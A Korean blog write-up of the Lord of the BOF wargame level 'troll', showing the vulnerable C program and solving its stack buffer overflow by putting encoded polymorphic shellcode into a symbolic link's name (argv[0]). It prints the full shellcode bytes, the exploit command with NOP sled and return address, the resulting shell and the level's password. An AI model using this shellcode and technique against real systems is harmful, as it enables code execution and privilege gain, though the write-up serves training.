반응형

2일정도 계속 고민했는데 안풀려서 좀찾아본 결과 다형성 쉘코드나 mkdir -p 옵션을 사용해서 부모 프로세스에 심볼릭 링크를 걸어서 푸는 문제더군요 ㅡㅡ ; 그러니까 안풀리지 휴 .. 여튼 풀엇습니다 눈물이나려하네요

소스를 보면

[orge@localhost orge]$ cat troll.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1]));

}

argv[1]을 0으로 memset해버리고 argc 또한 2로 지정해줘버렸기때문에 기존의 방법으로는 모두 막히게 됩니다

처음에 소스보고 멘붕해서 어떻게할까 계속 고민햇엇는데 결국 심볼릭링크를 사용하는 문제였습니다(위에서 말햇듯이 조금 다른방법으로 mkdir -p 옵션을 사용하셔서 푸셔도 됩니다)

저는 다형성 쉘코드라는 것을 사용햇습니다. 파일은 아래에 첨부했고, 기존 쉘코드와는 달리 48byte의 쉘코드입니다


다형성 쉘코드.txt


다형성 쉘코드란, 쉘코드를 암호화 시키고 실행전 복호화 시켜서 기존의 쉘코드의 모양을 다르게 만들어서 숨기는 것입니다 . 따라서 기존의 쉘코드에 비해 길이가 길어지게 되죠.

심볼릭 링크를 걸떄 기존의 제가 사용햇던 쉘코드를 사용하면, \x2f(/)가 들어가면 원래 존재하는 디렉토리가 아닌 이상은 링크를 시켜주지 않습니다.(제가 이걸 몰라서 이부분에서 엄청나게 헤맷습니다 하 .. ) 

일단은 다형성쉘코드를 포함해서 심볼릭링크를 걸어주고(/tmp에서 분석해야되니 tmp도 마찬가지로 걸어주셔야합니다)

[orge@localhost orge]$ ln -s troll Z`perl -e 'print "\x90"x40,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

RETN 주소에는 심볼릭링크에 쉘코드를 넣어줫기 떄문에 argv[0]부분을 넣어주게 된다면, 성공을하게됩니다 

argv[0]주소는 직접 찾기 귀찮아서 기존의 소스에 코드를 추가하여 알아내었고(주소가 계속해서 바뀌어요)

[orge@localhost /tmp]$ cat troll.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1]));

printf("0x%x\n",argv[0]); // 추가한 부분

}

페이로드는 

 | 심볼릭링크 (argv[0] )  | NOP[44] (argv[1]) | &argv[0]( argv[1])| 

집어넣게되면


[orge@localhost orge]$ ./Z?????????????????????????????????????????Q^12€l^N^A€?Au楕^E凹2핽i00tii0cjo??T???L? `perl -e 'print "\x90"x44,"\x2e\xfb\xff\xbf"'`

????????????????????????????????????????????.?

bash$ my-pass

euid = 508

aspirin

bash$ 


풀리게됩니다 

만세 ! 

+)다형성 쉘코드를 혼자힘으로 한번 짜볼 계획 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level10.vampire  (0) 2014.08.14
(LOB)Level9.troll  (0) 2014.08.14
(LOB)level7.darkelf  (0) 2014.08.11
(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
,